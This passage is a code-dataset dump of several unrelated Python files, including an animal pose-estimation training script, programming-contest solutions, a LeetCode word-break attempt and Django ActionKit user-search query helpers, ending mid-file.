self.augmentation = augmentation\n self.imgs = imgs\n self.masks = masks\n self.on_epoch_end()\n\n def __len__(self):\n \"Denotes the number of batches per epoch\"\n return int(np.floor(len(self.list_IDs) / self.batch_size))\n\n def __getitem__(self, index):\n \"Generate one batch of data\"\n # Generate indexes of the batch\n indexes = self.indexes[index * self.batch_size : (index + 1) * self.batch_size]\n\n # Find list of IDs\n list_IDs_temp = [self.list_IDs[k] for k in indexes]\n\n # Generate data\n X, y = self.__data_generation(list_IDs_temp)\n\n return X, y\n\n def on_epoch_end(self):\n \"Updates indexes after each epoch\"\n self.indexes = np.arange(len(self.list_IDs))\n if self.shuffle:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, list_IDs_temp):\n \"Generates data containing batch_size samples\" # X : (n_samples, *dim, n_channels)\n # Initialization\n X = []\n y = []\n\n # Generate data\n for _, ID in enumerate(list_IDs_temp):\n image = self.imgs[ID]\n # segmaps = self.masks[ID].astype(\"bool\")\n segmaps = self.masks[ID]\n\n # maps_augment = []\n seq_det = self.augmentation.to_deterministic()\n\n # segmaps = np.moveaxis(segmaps,2,0)\n segmaps = np.expand_dims(segmaps, axis=0)\n\n # TODO: adjust for batch\n image_aug, aug_maps = seq_det(image=image, heatmaps=segmaps)\n\n # for segmap_idx in range(segmaps.shape[-1]):\n # segmap = segmaps[:, :, segmap_idx]\n # # segmap = SegmentationMapsOnImage(segmap, shape=image.shape)\n # image_aug, _ = seq_det(image=image, hea=segmap)\n # segmap_aug, _ = seq_det(image=segmap, segmentation_maps=segmap)\n # # print(segmap_aug.shape)\n # # segmap_aug = (\n # # segmap_aug.draw()[0][:, :, 0].astype(\"bool\").astype(\"uint8\")\n # # )\n # maps_augment.append(segmap_aug)\n # Store sample\n\n X.append(image_aug)\n # Store class\n y.append(aug_maps[0])\n\n maps = np.asarray(y)\n # maps = np.moveaxis(maps, 1, 3)\n return np.asarray(X), np.asarray(maps)\n\n\ndef calculate_rmse(pred, true):\n \"\"\"Calculate Root Mean Squared Error (RMSE)\n\n Calculate RMSE between predicted and ground truth landmarks for pose estimation.\n\n Parameters\n ----------\n pred : np.ndarray\n Coordinates of predicted landmarks of pose estimation network.\n true : np.ndarray\n Coordinates of ground truth landmarks of pose estimation network.\n\n Returns\n -------\n keras.model\n model\n \"\"\"\n rmses = []\n\n for idx, _ in enumerate(pred):\n point_pred = pred[idx]\n point_gt = true[idx]\n if point_gt[0] == 0:\n continue\n dist = (point_gt[0] - point_pred[0]) ** 2 + (point_gt[1] - point_pred[1]) ** 2\n rmses.append(np.sqrt(dist))\n return np.nanmean(np.array(rmses))\n\n\n# TODO: remove unused code\nclass rmse_metric(keras.callbacks.Callback):\n \"\"\"TODO: Fill in description\"\"\"\n def setModel(self, model):\n \"\"\"TODO: Fill in description\"\"\"\n self.model = model\n\n def on_train_begin(self, logs=None):\n \"\"\"TODO: Fill in description\"\"\"\n self._data = []\n\n def on_epoch_end(self, batch, logs=None):\n \"\"\"TODO: Fill in description\"\"\"\n X_val, y_val = self.validation_data[0], self.validation_data[1]\n\n rmses = []\n for idx, el in enumerate(X_val):\n _pred = self.model.predict(np.expand_dims(el, axis=0))\n rmse = calculate_rmse(_pred, y_val[idx])\n rmses.append(rmse)\n rmse = np.asarray(rmses).mean()\n\n self._data.append(\n {\n # 'val_roc': roc_auc_score(y_val, y_predict, average='macro'),\n \"calculated_rmse\": rmse,\n }\n )\n print(\"calculated_rmse ::: \" + str(rmse))\n return\n\n def get_data(self):\n \"\"\"TODO: Fill in description\"\"\"\n return self._data\n\n\nclass Metrics(keras.callbacks.Callback):\n \"\"\"TODO: Fill in description\"\"\"\n def __init__(self, writer=None, unmold=None):\n \"\"\"TODO: Fill in description\"\"\"\n super(Metrics, self).__init__()\n self.writer = writer\n\n def setModel(self, model):\n \"\"\"TODO: Fill in description\"\"\"\n self.model = model\n\n def on_train_begin(self, logs=None):\n \"\"\"TODO: Fill in description\"\"\"\n self._data = []\n\n def on_epoch_end(self, batch, logs=None):\n X_val, y_val = self.validation_data[0], self.validation_data[1]\n rmses = []\n\n for idx, test_img in tqdm(enumerate(X_val)):\n heatmaps = self.model.predict(np.expand_dims(test_img, axis=0))\n # set upper left to 0\n heatmaps = heatmaps[0, :, :, :]\n heatmaps[:20, :20, :] = 0\n coords_gt = heatmap_to_scatter(y_val[idx])[:-1]\n coords_predict = heatmap_to_scatter(heatmaps)[:-1]\n rmses.append(calculate_rmse(coords_predict, coords_gt))\n rmses = np.asarray(rmses)\n rmse_mean = np.nanmean(rmses)\n\n self._data.append(\n {\n \"rmse\": rmse_mean,\n }\n )\n self._data.append(rmse_mean)\n print(\"rmse ::: \", rmse_mean)\n if self.writer is not None:\n #rmse_summary = tf.compat.v1.summary.scalar(\n # \"rmses\", tf.convert_to_tensor(value=rmse_mean)\n #)\n # rmse_summary = tf.compat.v1.summary.scalar(\n # \"rmses\", tf.convert_to_tensor(self._data)\n # )\n all_summary = tf.compat.v1.summary.merge_all()\n self.writer.add_summary(K.eval(all_summary), batch)\n # self.writer.add_summary(K.eval(all_summary))\n self.writer.flush()\n return\n\n def get_data(self):\n \"\"\"TODO: Fill in description\"\"\"\n return self._data\n\n\ndef custom_binary_crossentropy(y_true, y_pred, from_logits=False, label_smoothing=0):\n \"\"\"TODO: Fill in description\"\"\"\n y_pred = tf.constant(y_pred) if not tf.is_tensor(y_pred) else y_pred\n y_true = tf.cast(y_true, y_pred.dtype)\n\n return K.mean(\n K.binary_crossentropy(y_true, y_pred, from_logits=from_logits), axis=-1\n )\n\n\nclass callbacks_viz_poseestimation(keras.callbacks.Callback):\n \"\"\"TODO: Fill in description\"\"\"\n def setModel(self, model):\n \"\"\"TODO: Fill in description\"\"\"\n self.model = model\n\n def on_train_begin(self, logs=None):\n \"\"\"TODO: Fill in description\"\"\"\n self._data = []\n\n def on_epoch_end(self, batch, logs=None):\n \"\"\"TODO: Fill in description\"\"\"\n X_val, y_val = self.validation_data[0], self.validation_data[1]\n\n for id in range(1, 3):\n fig, ax = plt.subplots()\n y_true = y_val[id : id + 1]\n y_predict = self.model.predict(X_val[id : id + 1])\n y_predict[:20, :20, :] = 0\n y_predict = y_predict[0, :, :, :]\n coords_gt = y_true[0, :, :, :]\n coords_gt = heatmap_to_scatter(coords_gt)[:-1]\n # coords_gt = y_true[0, :, :, :]\n coords_predict = heatmap_to_scatter(y_predict)[:-1]\n ax.imshow(X_val[id][:, :, 0], cmap=\"Greys_r\")\n for map_id, map in enumerate(coords_predict):\n #true = coords_gt[map_id]\n # plt.scatter(map[1], map[0], c=\"red\")\n ax.scatter(map[1], map[0], s=50)\n # plt.scatter(true[1], true[0], c=\"blue\")\n #\n # print(\"plotted\")\n fig.savefig(\"viz_primate\" + str(id) + \".png\")\n # plt.show()\n return\n\n\ndef read_DLC_data(dlc_path, folder, label_file_path, exclude_labels=[], as_gray=False):\n \"\"\"TODO: Fill in description\"\"\"\n frame = pd.read_csv(label_file_path, header=[1, 2])\n\n # on oliver's dataset exclude arena keypoints for DLC comparison\n kps = frame.columns.values\n keypoints = []\n for kp in kps:\n if kp[0] in exclude_labels:\n continue\n keypoints.append(kp[0])\n keypoints = np.unique(keypoints)\n coords = [\"x\", \"y\"]\n\n y = []\n X = []\n for id in range(len(frame)):\n frame_part = frame.iloc[id]\n if \"\\\\\" in frame_part[0]:\n image_path = frame_part[0].split(\"\\\\\")\n elif \"/\" in frame_part[0]:\n image_path = frame_part[0].split(\"/\")\n else:\n raise ValueError\n # image = image_path[1] + \"-\" + image_path[2]\n # if file_list:\n # if not image in file_list:\n # continue\n\n all_pts = []\n for _, keypoint in enumerate(keypoints):\n kps = []\n for _, coord in enumerate(coords):\n try:\n kps.append(frame_part[keypoint][coord])\n except KeyError:\n kps.append(np.nan)\n all_pts.append(np.array(kps))\n y.append(np.array(all_pts))\n # path = \"\"\n # for el in image_path:\n # path += el + \"/\"\n # path = path[:-1]\n # path = base_path + path\n path = dlc_path + folder + \"/\" + image_path[2]\n image = skimage.io.imread(path, as_gray=as_gray).astype(\"uint8\")\n X.append(image)\n X = np.asarray(X)\n y = np.asarray(y)\n\n return X, y\n\n\ndef read_dlc_labels_from_folder(dlc_path, exclude_labels=[]):\n \"\"\"TODO: Fill in description\"\"\"\n folders = os.walk(dlc_path)\n folders = folders.__next__()[1]\n asgrey = False\n\n Xs = []\n ys = []\n for folder in folders:\n path = dlc_path + folder + \"/\"\n csv_file = glob(path + \"*.csv\")\n X, y = read_DLC_data(\n dlc_path,\n folder,\n label_file_path=csv_file[0],\n exclude_labels=exclude_labels,\n as_gray=asgrey,\n )\n Xs.append(X)\n ys.append(y)\n Xs = np.concatenate(Xs)\n ys = np.concatenate(ys)\n\n return Xs, ys\n\n\ndef segment_images_and_masks(X, y, SegNet, asgrey=False, mask_size=64):\n \"\"\"mold images\"\"\"\n mold_dimension = 1024\n if asgrey:\n X = np.expand_dims(X, axis=-1)\n X = mold_video(video=X, dimension=mold_dimension, n_jobs=1)\n y = mold_video(video=y, dimension=mold_dimension, n_jobs=1)\n\n masked_X = []\n masked_maps = []\n meta_coms = []\n for img_idx, img in enumerate(X):\n molded_img, masks, boxes, mask_scores = SegNet.detect_image(\n img, verbose=0, mold=False\n )\n coms = masks_to_coms(masks)\n masked_imgs, masked_masks = apply_all_masks(\n masks, coms, molded_img, mask_size=64\n )\n masked_heatmaps, _ = apply_all_masks(masks, coms, y[img_idx], mask_size=64)\n masked_X.append(masked_imgs[0].astype(\"uint8\"))\n masked_maps.append(masked_heatmaps[0].astype(\"float32\"))\n meta_coms.append(coms)\n print(\"img\")\n\n X = np.asarray(masked_X)\n y = np.asarray(masked_maps)\n\n return X, y, meta_coms\n\n\n# TODO: remove unused code\ndef vis_locs(X, y):\n \"\"\"TODO: Fill in description\"\"\"\n plt.imshow(X)\n for i in range(y.shape[1]):\n plt.scatter(y[i, 0], y[i, 1])\n plt.show()\n\n\n# TODO: remove unused code\ndef vis_maps(X, y):\n \"\"\"TODO: Fill in description\"\"\"\n plt.imshow(X[0])\n for i in range(y.shape[-1]):\n plt.imshow(y[0][:, :, i], alpha=0.1)\n plt.show()\n\n\ndef revert_mold(img, padding, scale, dtype=\"uint8\"):\n \"\"\"TODO: Fill in description\"\"\"\n unpad = img[padding[0][0] : -padding[0][1], :, :]\n rec = resize(\n unpad, (unpad.shape[0] // scale, unpad.shape[1] // scale), preserve_range=True\n ).astype(dtype)\n return rec\n\n\ndef evaluate_pose_estimation(\n x_test,\n y_test,\n posenet,\n remold=False,\n y_test_orig=None,\n x_test_orig=None,\n coms_test=None,\n):\n \"\"\"TODO: Fill in description\"\"\"\n rmses = []\n for idx, test_img in tqdm(enumerate(x_test)):\n heatmaps = posenet.predict(np.expand_dims(test_img, axis=0))\n # set upper left to 0\n heatmaps = heatmaps[0, :, :, :]\n heatmaps[:20, :20, :] = 0\n # TODO: dont incorporate rmse if heatmap in upper left corner\n\n if remold:\n image, window, scale, padding, crop = mold_image(\n x_test_orig[0], dimension=1024, return_all=True\n )\n\n unmolded_maps = []\n for map_id in range(heatmaps.shape[-1]):\n map = heatmaps[:, :, map_id]\n a = mask_to_original_image(1024, map, coms_test[idx][0], 64)\n a = np.expand_dims(a, axis=-1)\n b = revert_mold(a, padding, scale, dtype=\"float32\")\n unmolded_maps.append(b)\n unmolded_maps = np.array(unmolded_maps)\n unmolded_maps = np.swapaxes(unmolded_maps, 0, -1)\n unmolded_maps = unmolded_maps[0]\n\n coords_predict = heatmap_to_scatter(unmolded_maps)[:-1]\n coords_gt = heatmap_to_scatter(y_test_orig[idx])[:-1]\n rmses.append(calculate_rmse(coords_predict, coords_gt))\n else:\n coords_gt = heatmap_to_scatter(y_test[idx])[:-1]\n coords_predict = heatmap_to_scatter(heatmaps)[:-1]\n rmses.append(calculate_rmse(coords_predict, coords_gt))\n\n rmses = np.asarray(rmses)\n # overall rmse\n print(\"overall result RMSE\")\n print(str(rmses))\n print(\"\\n\")\n print(str(np.nanmean(rmses)))\n res = np.nanmean(rmses)\n\n return res\n\n\n# TODO: remove unused code\ndef treshold_maps(y, threshold=0.9):\n y[y > threshold] = 1\n y[y <= threshold] = 0\n return y\n\n\ndef train_on_data(\n x_train,\n y_train,\n x_test,\n y_test,\n config,\n results_sink,\n segnet_path=None,\n augmentation=\"primate\",\n original_img_shape=None,\n save=None,\n):\n remold = False\n y_test_orig = None\n x_test_orig = None\n coms_test = None\n if segnet_path:\n # TODO: remove hardcodes\n SegNet = SegModel(species=\"mouse\")\n SegNet.inference_config = Config()\n SegNet.inference_config.NAME = \"default\"\n SegNet.inference_config.DETECTION_MIN_CONFIDENCE = 0.5\n SegNet.inference_config.__init__()\n SegNet.set_inference(model_path=segnet_path)\n\n mask_size = 64\n x_test_orig = x_test\n y_test_orig = y_test\n x_train, y_train, _ = segment_images_and_masks(\n x_train, y_train, SegNet=SegNet, mask_size=mask_size\n )\n x_test, y_test, coms_test = segment_images_and_masks(\n x_test, y_test, SegNet=SegNet, mask_size=mask_size\n )\n remold = True\n\n img_rows, img_cols = x_train.shape[1], x_train.shape[2]\n input_shape = (img_rows, img_cols, 3)\n\n adam = tf.keras.optimizers.Adam(lr=0.001)\n posenet = posenet_architecture(\n input_shape,\n num_classes=y_train.shape[-1],\n backbone=config[\"poseestimation_model_backbone\"],\n features=config[\"poseestimation_model_features\"],\n )\n posenet.compile(\n loss=[\"binary_crossentropy\"],\n optimizer=adam,\n metrics=[\"mse\"],\n )\n\n if config[\"poseestimation_model_augmentation\"] == \"primate\":\n augmentation_image = primate_poseestimation()\n elif config[\"poseestimation_model_augmentation\"] == \"mouse\":\n augmentation_image = mouse_poseestimation()\n else:\n raise NotImplementedError\n\n tf_callback = callbacks_tf_logging(path=\"./logs/posenet/\")\n\n # TODO: model checkpoint callbacks\n my_metrics = Metrics(unmold=original_img_shape)\n my_metrics.validation_data = (np.asarray(x_test), np.asarray(y_test))\n my_metrics.setModel(posenet)\n viz_cb = callbacks_viz_poseestimation()\n viz_cb.validation_data = (np.asarray(x_test), np.asarray(y_test))\n viz_cb.setModel(posenet)\n callbacks = [my_metrics, viz_cb, tf_callback]\n\n training_generator = DataGenerator(\n x_train,\n y_train,\n augmentation=augmentation_image,\n batch_size=config[\"poseestimation_batch_size\"],\n )\n\n for epoch_id, epoch in enumerate(config[\"poseestimation_model_epochs\"]):\n K.set_value(\n posenet.optimizer.lr,\n config[\"poseestimation_model_learning_rates\"][epoch_id],\n )\n\n dense_history_1 = posenet.fit(\n training_generator,\n epochs=epoch,\n validation_data=(x_test, y_test),\n callbacks=callbacks,\n shuffle=True,\n use_multiprocessing=False,\n steps_per_epoch=config[\"poseestimation_model_steps_per_epochs\"][epoch_id],\n # workers=40,\n )\n\n res = evaluate_pose_estimation(\n x_test,\n y_test,\n posenet,\n remold=remold,\n y_test_orig=y_test_orig,\n x_test_orig=x_test_orig,\n coms_test=coms_test,\n )\n if save:\n posenet.save(results_sink + \"posenetNet\" + \".h5\")\n np.save(results_sink + \"poseestimation_results_new.npy\", res)\n\n\nparser = ArgumentParser()\nparser.add_argument(\n \"--operation\",\n action=\"store\",\n dest=\"operation\",\n type=str,\n default=\"train_primate\",\n help=\"standard training options for SIPEC data\",\n)\nparser.add_argument(\n \"--gpu\",\n action=\"store\",\n dest=\"gpu\",\n type=str,\n default=\"0\",\n help=\"filename of the video to be processed (has to be a segmented one)\",\n)\nparser.add_argument(\n \"--fraction\",\n action=\"store\",\n dest=\"fraction\",\n type=float,\n default=1.0,\n help=\"fraction to use for training\",\n)\nparser.add_argument(\n \"--dlc_path\",\n action=\"store\",\n dest=\"dlc_path\",\n type=str,\n default=None,\n help=\"path for labeled-data path of deeplabcut labelled data\",\n)\nparser.add_argument(\n \"--fold\",\n action=\"store\",\n dest=\"fold\",\n type=int,\n default=None,\n help=\"fold for crossvalidation\",\n)\nparser.add_argument(\n \"--results_sink\",\n action=\"store\",\n dest=\"results_sink\",\n type=str,\n default=None,\n help=\"path to results\",\n)\nparser.add_argument(\n \"--segnet_path\",\n action=\"store\",\n dest=\"segnet_path\",\n type=str,\n default=None,\n help=\"path to segmentation model\",\n)\nparser.add_argument(\n \"--config\",\n action=\"store\",\n dest=\"config\",\n type=str,\n default=None,\n help=\"name of configuration file to use\",\n)\n\n\ndef main():\n args = parser.parse_args()\n operation = args.operation\n gpu_name = args.gpu\n fraction = args.fraction\n dlc_path = args.dlc_path\n fold = args.fold\n results_sink = args.results_sink\n segnet_path = args.segnet_path\n config = args.config\n\n setGPU(gpu_name)\n\n config = load_config(\"../configs/poseestimation/\" + config)\n set_random_seed(config[\"random_seed\"])\n # check_directory(results_sink)\n with open(results_sink + \"config.json\", \"w\") as f:\n json.dump(config, f)\n f.close()\n\n original_img_shape = None\n if operation == \"primate\":\n x_train, y_train, x_test, y_test = get_primate_pose_data()\n if operation == \"mouse\":\n x_train, y_train, x_test, y_test = get_mouse_pose_data(fraction=fraction)\n if operation == \"dlc_comparison\":\n (\n x_train,\n y_train,\n x_test,\n y_test,\n original_img_shape,\n ) = get_mouse_pose_dlc_comparison_data(fold=fold)\n if operation == \"mouse_dlc\":\n x_train, y_train, x_test, y_test = get_mouse_dlc_data()\n if dlc_path:\n # TODO: integrate exclude labels into cfg\n X, y = read_dlc_labels_from_folder(\n dlc_path, exclude_labels=[\"tl\", \"tr\", \"bl\", \"br\", \"centre\"]\n )\n split = 4\n x_train = X[split:]\n y_train = y[split:]\n x_test = X[:split]\n y_test = y[:split]\n\n # TODO: sigmas in config and test\n sigmas = [6.0, 4.0, 1.0, 1.0, 0.5]\n img_shape = (x_train.shape[1], x_train.shape[2])\n y_train = heatmaps_for_images(\n y_train, img_shape=img_shape, sigma=sigmas[0], threshold=None\n )\n y_test = heatmaps_for_images(\n y_test, img_shape=img_shape, sigma=sigmas[0], threshold=None\n )\n\n train_on_data(\n x_train,\n y_train,\n x_test,\n y_test,\n config=config,\n results_sink=results_sink,\n segnet_path=segnet_path,\n original_img_shape=original_img_shape,\n )\n\n\n# example usage\n# python poseestimation.py --gpu 0 --results_sink /home/markus/posetest/ --dlc_path /home/markus/OFT/labeled-data/ --segnet_path /home/markus/mask_rcnn_mouse_0095.h5 --config poseestimation_config_test\nif __name__ == \"__main__\":\n main()\n","repo_name":"SIPEC-Animal-Data-Analysis/SIPEC","sub_path":"SwissKnife/poseestimation.py","file_name":"poseestimation.py","file_ext":"py","file_size_in_byte":22247,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"61"} +{"seq_id":"23462835321","text":"'''\r\nCreated on Apr 11, 2015\r\n\r\n@author: Ankur Patil\r\n'''\r\nimport sys\r\ndef main(infile, outfile):\r\n\twith open(infile,\"rt\") as f:\r\n\t\tT = int(f.readline())\r\n\t\tsol = []\r\n\t\ttable = {\r\n\t\t\t\t\t(\"i\",\"1\"):\"i\",\r\n\t\t\t\t\t(\"i\",\"i\"):\"-1\",\r\n\t\t\t\t\t(\"i\",\"j\"):\"k\",\r\n\t\t\t\t\t(\"i\",\"k\"):\"-j\",\r\n\t\t\t\t\t(\"j\",\"1\"):\"j\",\r\n\t\t\t\t\t(\"j\",\"i\"):\"-k\",\r\n\t\t\t\t\t(\"j\",\"j\"):\"-1\",\r\n\t\t\t\t\t(\"j\",\"k\"):\"i\",\r\n\t\t\t\t\t(\"k\",\"1\"):\"k\",\r\n\t\t\t\t\t(\"k\",\"i\"):\"j\",\r\n\t\t\t\t\t(\"k\",\"j\"):\"-i\",\r\n\t\t\t\t\t(\"k\",\"k\"):\"-1\",\r\n\t\t\t\t\t(\"1\",\"1\"):\"1\",\r\n\t\t\t\t\t(\"1\",\"i\"):\"i\",\r\n\t\t\t\t\t(\"1\",\"j\"):\"j\",\r\n\t\t\t\t\t(\"1\",\"k\"):\"k\",\r\n\t\t\t\t}\r\n\t\tfor t in range(1,T+1):\r\n\t\t\ttokens = f.readline().split()\r\n\t\t\tL = int(tokens[0])\r\n\t\t\tX = int(tokens[1])\r\n\t\t\tstr = f.readline()[:L]\r\n\t\t\tcnt = 0\r\n\t\t\tis_negative = False\r\n\t\t\tif(False):\r\n\t\t\t\tnew_cnt = str.count(\"ii\") + str.count(\"jj\") + str.count(\"kk\")\r\n\t\t\t\t#if new_cnt == 0: break\r\n\t\t\t\tis_negative = new_cnt % 2\r\n\t\t\t\tstr = str.replace(\"ii\",\"\").replace(\"jj\",\"\").replace(\"kk\",\"\")\r\n\t\t\treq = [\"i\",\"j\",\"k\"]\r\n\t\t\t#print(str)\r\n\t\t\tif is_negative:\r\n\t\t\t\tcurr = \"-1\"\r\n\t\t\telse:\r\n\t\t\t\tcurr = \"1\"\r\n\t\t\tflag = False\r\n\t\t\tfor i in range(X):\r\n\t\t\t\tfor c in str:\r\n\t\t\t\t\tif curr == req[0]:\r\n\t\t\t\t\t\tif len(req) == 1:\r\n\t\t\t\t\t\t\treq[0] = \"1\"\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\treq = req[1:]\r\n\t\t\t\t\t\tcurr = \"1\"\r\n\t\t\t\t\tif curr[0] == \"-\":\r\n\t\t\t\t\t\tis_negative = True\r\n\t\t\t\t\t\tcurr = curr[1:]\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tis_negative = False\r\n\t\t\t\t\tkey = (curr,c)\r\n\t\t\t\t\tif is_negative:\r\n\t\t\t\t\t\tif table[key][0] != \"-\":\r\n\t\t\t\t\t\t\tcurr = \"-\"+table[key]\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tcurr = table[key][1:]\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tcurr = table[key]\r\n\t\t\telse:\r\n\t\t\t\tflag = True\r\n\t\t\tif flag == True and req[0] == curr:\r\n\t\t\t\tans = \"YES\"\r\n\t\t\telse:\r\n\t\t\t\tans = \"NO\"\r\n\t\t\tsol.append(\"Case #{0}: {1}\\n\".format(t,ans))\r\n\t\tprint(sol)\r\n\twith open(outfile, \"wt\") as f:\r\n\t\tf.writelines(sol)\r\n\r\nif __name__ == '__main__':\r\n\tmain(sys.argv[1],sys.argv[2])","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_157/772.py","file_name":"772.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2040568278","text":"#\n# @lc app=leetcode id=139 lang=python\n#\n# [139] Word Break\n#\n\n\n\n# @lc code=start\nclass Solution(object):\n def wordBreak(self, s, wordDict):\n \"\"\"\n :type s: str\n :type wordDict: List[str]\n :rtype: bool\n \"\"\"\n\n while s and wordDict:\n word = wordDict.pop(0)\n n = len(word)\n if s[:n] != word:\n return False\n s = s[n:]\n\n print(s, len(wordDict))\n if len(wordDict) > 0:\n return False\n return True\n\n\n\n \n# @lc code=end\nprint(Solution().wordBreak(\"leetcode\", [\"leet\", \"code\"]))\nprint(Solution().wordBreak(\"applepenapple\", [\"apple\", \"pen\"]))\nprint(Solution().wordBreak(\"catsandog\", [\"cats\", \"dog\"]))\n","repo_name":"aryanjain28/DSA","sub_path":"revision_150/139.word-break.py","file_name":"139.word-break.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23550144651","text":"#-*- coding: utf-8 -*-\n\nimport sys\nfrom datetime import time\n\nclass Evento:\n def __cmp__(self, other):\n if self.hora < other.hora:\n return -1\n elif self.hora == other.hora:\n if self.tipo == other.tipo:\n return 0\n if self.tipo == 'L':\n return -1\n return 1\n else:\n return 1\nif __name__ == '__main__':\n file_name = sys.argv[1]\n\n input_file = open(file_name).readlines()\n output_file = open('output.ou', 'w')\n \n N = int(input_file[0])\n input_file = input_file[1:]\n\n for case in range(1, N+1):\n T = int(input_file[0])\n input_file = input_file[1:]\n\n NA, NB = input_file[0].split()\n NA = int(NA)\n NB = int(NB)\n \n input_file = input_file[1:]\n\n eventos = []\n estacion = 1\n for line in input_file[0:NA+NB]:\n salida, llegada = line.split()\n salida = time(int(salida.split(\":\")[0]),\n int(salida.split(\":\")[1]))\n \n evento = Evento()\n evento.hora = salida\n evento.tipo = 'S'\n if estacion <= NA:\n evento.estacion = 'A'\n else:\n evento.estacion = 'B'\n eventos.append(evento)\n llegada = time(int(llegada.split(\":\")[0]),\n int(llegada.split(\":\")[1]))\n #sumar el tiempo de giro\n\n if (llegada.minute + T) < 60:\n llegada = llegada.replace(llegada.hour,\n llegada.minute+T)\n else:\n if (llegada.hour +1) >= 24:\n llegada = llegada.replace(23, 59)\n else:\n llegada = llegada.replace(llegada.hour + 1,\n T-(60-llegada.minute))\n evento = Evento()\n evento.hora = llegada\n evento.tipo = 'L'\n \n if estacion <= NA: \n evento.estacion = 'B'\n else:\n evento.estacion = 'A'\n eventos.append(evento)\n\n estacion += 1\n\n input_file = input_file[NA+NB:]\n # for evento in eventos:\n # print evento.hora, \" \", evento.tipo, \" \", evento.estacion, \"\\n\"\n\n\n eventos.sort()\n\n# for evento in eventos:\n # print evento.hora, \" \", evento.tipo, \" \", evento.estacion\n\n\n ta = na = tb = nb = 0 #t-trenes n-necesidad a,b-estacion\n\n for evento in eventos:\n if evento.tipo == 'S': #una salida de tren\n if evento.estacion == 'A':\n if ta == 0:\n na += 1\n else:\n ta -= 1\n else:\n if tb == 0:\n nb += 1\n else:\n tb -= 1\n else: # una llegada\n if evento.estacion == 'A':\n ta += 1\n else:\n tb += 1\n \n output_file.write(\"Case #%d: %d %d\\n\"%(case, na, nb))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_2/182.py","file_name":"182.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32946026827","text":"from django.utils.translation import ugettext_lazy as _\nimport json\n\nTYPE_CHOICES = {\n \"userfield\": (_(\"Userfield Value\"), \n \"actionkit_usersearch.where_columns.UserField\"),\n \"actionfield\": (_(\"Actionfield Value\"), \n \"actionkit_usersearch.where_columns.ActionField\"),\n }\n\n\nclass UserField(object):\n\n def __init__(self, data):\n self.name = data.name\n\n def __call__(self, queryset, values, is_not=False):\n query = {'fields__value__in': values,\n 'fields__name': self.name}\n \n if is_not:\n queryset = queryset.exclude(**query)\n human_query = u\"%s is not in (%s)\" % (self.name, u', '.join(values))\n else:\n queryset = queryset.filter(**query)\n human_query = u\"%s is in (%s)\" % (self.name, u', '.join(values))\n\n return queryset, human_query\n\nclass ActionField(object):\n\n def __init__(self, data):\n self.name = data.name\n try:\n self.pages = json.loads(data.parameters)['page_ids']\n except (ValueError, TypeError, KeyError):\n self.pages = None\n\n def __call__(self, queryset):\n if self.pages is None:\n return queryset.extra(select={\n self.name: (\"SELECT `value` FROM `core_actionfield` \"\n \"JOIN `core_action` \"\n \"ON `core_action`.`id`=`core_actionfield`.`parent_id` \"\n \"WHERE `core_action`.`user_id`=`core_user`.`id` \"\n \"AND `core_actionfield`.`name`=%s LIMIT 1\"\n )},\n select_params=[self.name])\n else:\n sql = (\"SELECT `value` FROM `core_actionfield` \"\n \"JOIN `core_action` \"\n \"ON `core_action`.`id`=`core_actionfield`.`parent_id` \"\n \"WHERE `core_action`.`user_id`=`core_user`.`id` \"\n \"AND (\")\n sql_or = []\n for page in self.pages:\n sql_or.append(\"`core_action`.`page_id` = %s\")\n sql += \" OR \".join(sql_or)\n sql += (\") AND `core_actionfield`.`name`=%s LIMIT 1\")\n return queryset.extra(select={self.name: sql},\n select_params=self.pages + [self.name])\n\nclass YearlyDonations(object):\n def __init__(self, data):\n self.name = data.name\n self.year = json.loads(data.parameters)['year']\n\n def __call__(self, queryset):\n return queryset.extra(select={\n self.name: (\"SELECT SUM(`total`) FROM `core_order` \"\n \"WHERE `core_order`.`user_id`=`core_user`.`id` \"\n \"AND `core_order`.`status`=\\\"completed\\\" \"\n \"AND YEAR(`core_order`.`created_at`) = %s \"\n )\n },\n select_params=[self.year])\n \nclass TotalDonations(object):\n\n def __init__(self, data):\n self.name = data.name\n try:\n self.tag = json.loads(data.parameters)['tag']\n except (KeyError, ValueError, TypeError):\n self.tag = None\n\n def __call__(self, queryset):\n if self.tag is None:\n return queryset.extra(select={\n self.name: (\"SELECT SUM(`total`) FROM `core_order` \"\n \"WHERE `core_order`.`user_id`=`core_user`.`id` \"\n \"AND `core_order`.`status`=\\\"completed\\\" \")\n })\n else:\n return queryset.extra(select={\n self.name: (\"SELECT SUM(`total`) FROM `core_order` \"\n \"JOIN `core_action` \"\n \"ON `core_action`.`id`=`core_order`.`action_id` \"\n \"JOIN `core_page` \"\n \"ON `core_page`.`id`=`core_action`.`page_id` \"\n \"JOIN `core_page_tags` \"\n \"ON `core_page_tags`.`page_id`=`core_page`.`id` \"\n \"JOIN `core_tag` \"\n \"ON `core_tag`.`id`=`core_page_tags`.`tag_id` \"\n \"WHERE `core_order`.`user_id`=`core_user`.`id` \"\n \"AND `core_order`.`status`=\\\"completed\\\" \"\n \"AND `core_tag`.`name` = %s \"\n )\n },\n select_params=[self.tag])\n \n\nclass NumDonations(object):\n\n def __init__(self, data):\n self.name = data.name\n\n def __call__(self, queryset):\n return queryset.extra(select={\n self.name: (\"SELECT COUNT(*) FROM `core_order` \"\n \"WHERE `core_order`.`user_id`=`core_user`.`id` \"\n \"AND `core_order`.`status`=\\\"completed\\\" \")\n })\n\nclass NumActions(object):\n\n def __init__(self, data):\n self.name = data.name\n\n def __call__(self, queryset):\n return queryset.extra(select={\n self.name: (\"SELECT COUNT(*) FROM `core_action` \"\n \"WHERE `core_action`.`user_id`=`core_user`.`id` \"\n \"AND 